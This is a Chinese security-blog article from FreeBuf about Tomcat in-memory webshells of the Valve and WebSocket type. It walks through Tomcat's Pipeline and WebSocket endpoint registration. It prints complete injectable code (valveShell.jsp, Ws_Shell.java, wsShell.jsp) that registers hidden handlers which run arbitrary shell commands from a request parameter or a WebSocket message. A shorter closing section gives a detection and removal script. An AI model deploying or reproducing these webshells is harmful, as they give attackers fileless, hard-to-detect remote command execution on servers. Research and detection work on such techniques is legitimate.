freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Tomcat内存马之Valve和WebSocket型
2023-05-08 14:36:10
所属地 重庆

前言

之前写了关于Tomcat的listener、filter、servlet型内存马,并没有将valve和websocket加上,因为觉得还是有不一样的地方,所以单独提出来细说一下,尤其是websocket内存马,毕竟在使用的协议和方法上都有不同,但又总是容易被忽略。
同样,需引入Tomcat依赖:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.70</version>
</dependency>

Valve型内存马

关于valve

在Tomcat中存在一种管道机制,它是基于Java Servlet规范的实现,其中Servlet是一个Java类,用于处理HTTP请求和响应。Tomcat的管道机制使用了Servlet中的Filter和Servlet规范中的Servlet容器。Servlet容器使用一个称为Pipeline的处理管道来处理HTTP请求。Pipeline(管道)和Valve(阀门),顾名思义valve就像阀门一样,控制管道的流通状态。Pipeline由一系列的Valve组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。可以通过配置文件中的<Valve>元素来指定Valve。

每个Pipeline中内部就像filter中的chain链处理机制,其中一个Pipeline可以由多个Valve组成,并且在处理HTTP请求时,请求将按照Valve在Pipeline中的顺序进行处理。每个Valve都可以将请求传递给下一个Valve,或者在处理请求之前或之后执行自定义逻辑。通过编写自定义的Valve,可以扩展Tomcat的功能和行为,并在处理HTTP请求时添加自定义的功能,这也是valve内存马存在的原因。

image.png
在Tomcat下的Container中Engine、Host、Context、Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

动态添加Valve

Pipeline接口继承自Contained,定义了几个操作Valve的方法,其中可以使用addValve添加一个valve,getValve获取valve
image.png
Valve接口,同样可以使用对应的get获取set添加,其中,在invoke()方法中能够自定义我们的代码逻辑,这也是执行命令执行的地方。
image.png
在Tomcat内部实现中,因为是调用connector的adapter与container连接通信,所以关注org.apache.catalina.connector包下的CoyoteAdapter类,看看内部是如何与container连接的。
image.png
在CoyoteAdapter#service中,发现关键句:connector.getService().getContainer().getPipeline().getFirst().invoke(request, response),具体来看看
image.png
一步一步看下来大概就是StandardService->StandardEngine->StandardPipeline->StandardEngineValve->invoke
image.png
image.png
image.png
因此,只要在此之前,在StandardPipeline中将Valve添加到其中就可以实现后续的getFirst再到invoke。
具体思路:

  1. 编写Valve_Shell恶意类,实现Valve接口,重写invoke->恶意代码逻辑

  2. 获取StandardContext对象

  3. StandardContext.getPipeline获取StandardPipeline

  4. StandardPipeline.addValve(Valve_Shell)添加恶意Valve

Exp:valveShell.jsp(jsp实现)

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Valve_Shell</title>
</head>
<body>
<%!
    public class Valve_Shell implements Valve {
        @Override
        public Valve getNext() {
            return null;
        }
        @Override
        public void setNext(Valve valve) {
        }
        @Override
        public void backgroundProcess() {
        }
        @Override
        public boolean isAsyncSupported() {
            return false;
        }
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (cmd != null) {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
                BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
                StringBuilder stringBuilder = new StringBuilder();
                String str = null;
                while ((str = bufferedReader.readLine()) != null) {
                    stringBuilder.append(str + "\n");
                }
                writer.println(stringBuilder.toString());
            }
        }
    }
%>

<%
    Field declaredField = request.getClass().getDeclaredField("request");
    declaredField.setAccessible(true);
    Request req = (Request) declaredField.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Pipeline pipeline = standardContext.getPipeline();
    Valve_Shell valveShell = new Valve_Shell();
    pipeline.addValve(valveShell);
%>
</body>
</html>

先访问jsp注册,再执行命令:
image.png

WebSocket型内存马

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
在Tomcat中,WebSocket共有两种实现方式:

  1. @ServerEndpoint注解

  2. 继承抽象类:Endpoint

@ServerEndpoint注解实现

exp: Ws_Shell.java

package com.example.memshell.ws;

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;

@ServerEndpoint("/lemono")
public class Ws_Shell{
 private Session session;
 @OnOpen
 public void OnOpen(Session session){
     this.session=session;
     this.session.getAsyncRemote().sendText("open session");
 }
 @OnMessage
 public void OnMessage(String message) {
     try {
         Process process;
         boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
         if (bool) {
             process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", message });
         } else {
             process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", message });
         }
         InputStream inputStream = process.getInputStream();
         StringBuilder stringBuilder = new StringBuilder();
         int i;
         while ((i = inputStream.read()) != -1){
             stringBuilder.append((char)i);
         }
         inputStream.close();
         process.waitFor();
         session.getAsyncRemote().sendText(stringBuilder.toString());
     } catch (Exception exception) {
         exception.printStackTrace();
     }
 }
 @OnClose
 public void OnClose(){
     System.out.println("OnClose connect");
 }

}

Exp中实现了三个注解方法:@OnOpen(连接开辟时)、@OnMessage(消息传递)、@OnClose(连接关闭),@ServerEndpoint主要注册路由。因此,我们的恶意代码存在于OnMessage中,用于在消息传递时将命令执行结果回显带出到客户端。
因为是WebSocket协议,所以不能直接浏览器访问
WebSocket连接工具:https://github.com/websockets/wscat,命令行实现形式,网上也有很多图形化工具。
image.png

继承Endpoint抽象类实现

先看exp
Exp:wsShell.jsp

<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onMessage(String s) {
            try {
                Process process;
                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
                if (bool) {
                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
                } else {
                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
                }
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1){
                    stringBuilder.append((char)i);
                }
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
        @Override
        public void onOpen(final Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }
    }
%>
<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    container.addEndpoint(configEndpoint);
    servletContext.setAttribute(ServerContainer.class.getName(),container);
    out.println("success, connect url path: " + servletContext.getContextPath() + path);
%>

关于WsShell其他实现,可以查看这个项目:https://github.com/veo/wsMemShell
Tomcat的WebSocket在实现时都需要继承Endpoint抽象类,并实现其中的方法。同样,为了消息的传递,这里还需要实现Message相关方法,exp中实现的MessageHandler.Whole#OnMessage。其中,Endpoint#onOpen方法为必须实现的方法,这里做的工作主要为将实现的MessageHandler添加到会话中。
image.png

创建流程

Tomcat的Server端在启动时会默认通过 WsSci 配置相关信息。从绿色注解中可以看到首先会对存在@ServerEndpoint注解的class注册,这也是为什么可以方便的使用注解实现。
先来到onStartup中,init初始化一个ServerContainer sc,跟进init
image.png
通过servletContext创建WsServerContainer容器,接着servletContext中添加属性,也就是ServerContainer,在添加Listener,
image.png
image.png
继续跟进WsServerContainer,主要看其中的addEndpoint方法,大概就是为实现了Endpoint类根据path添加到ServerContainer中,其中一个重要的参数为ServerEndpointConfig,需要通过它获取继承Endpoint相关类的信息。
该类下有多个addEndpoint方法,过程用到三个,先看第二个
image.png
创建ServletEndpointConfig,pojo为继承Endpoint类的class,path为server端websocket的连接路由,最后将sec作为参数传递到第三个addEndpoint
image.png
第三个:
image.png
image.png
当完成这一系列操作时,则代表endpoint成功被注册
image.png
大概的流程就是这样,关键点为:ServerEndpointConfig和ServerContainer,因此我们的注入流程大概就是:

  1. 首先获取servletContext

  2. 创建ServerEndpointConfig,需要给到继承了Endpoint的类和path路径

  3. 获取ServerContainer,用于承载endpoint

  4. serverContainer.addEndpoint,添加到容器中

ServerEndpointConfig直接可以根据该类下的内部类Builder#create创建,刚好只需要继承了endpoint的class和path路由即可
image.png
到这便在server端注册了一个以path为路径的websocket,客户端使用工具连接该地址即可与服务端通信。
访问http://localhost:8088/MemShell_war_exploded/wsShell.jsp?path=/le 注册,wscat连接:
image.png
关于websocket内存马,因为不同于其他filter、servlet类型,所以相对来说较为隐蔽,且不易被察觉。

WebSocket内存马查杀

传统的内存马查杀工具并不能很好的查杀WebSocket内存马,但只要是通过Tomcat注册,就一定存在相关访问路径和实体。
这篇文章中中,讲述了WebSocket内存马的查杀思路,大概就是在 WsServerContainer#addEndpoint中,会将得到的WebSocket的uri和wsServerContainer类文件作为键值对put到configExactMatchMap中,而传进来的value下的config属性中是包含了我们需要的endpointClass的,对应调用getConfig应该就可以获取到我们需要的所有东西。
image.png
同样,configExactMatchMap在findMapping中被利用,通过path找寻对应的config,并将此config作为参数在声明WsMappingResult时即可赋值config,因为config内包含了endpointClass,所以下一步只需要反射WsMappingResult类,获取config属性即可!
image.png
image.png
代码实现: wsShell_detect.jsp

<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%-- Created by IntelliJ IDEA. --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    // 通过 request 的 context 获取 ServerContainer
    WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());

    // 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
    Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
    Field field = obj.getDeclaredField("configExactMatchMap");
    field.setAccessible(true);
    Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

    // 遍历configExactMatchMap, 打印所有注册的 websocket 服务
    Set<String> keyset = configExactMatchMap.keySet();
    Iterator<String> iterator = keyset.iterator();
    while (iterator.hasNext()){
        String key = iterator.next();
        Object object = wsServerContainer.findMapping(key);
        Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
        Field configField = wsMappingResultObj.getDeclaredField("config");
        configField.setAccessible(true);
        ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object);
        Class<?> clazz = config1.getEndpointClass();
        // 打印 ws 服务 url, 对应的 class
        out.println(String.format("websocket name:%s,  websocket class: %s", key, clazz.getName()));
    }

    // 如果参数带name, 删除该服务,名字为name参数值
    if(request.getParameter("name")!= null){
        configExactMatchMap.remove(request.getParameter("name"));
        out.println(String.format("delete ws service: %s", request.getParameter("name")));
    }
%>

访问wsShell_detect.jsp
image.png
输入路径即可删除
image.png

小结

总的流程大致如下:
image.png
可以重点关注一些WebSocket内存马,整个流程走下来还是能学到很多东西。

Ref:

https://xz.aliyun.com/t/11549
https://www.freebuf.com/articles/web/339361.html
https://www.freebuf.com/vuls/346129.html
https://goodapple.top/archives/1355#header-id-90

# web安全 # JAVA安全 # 内存马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录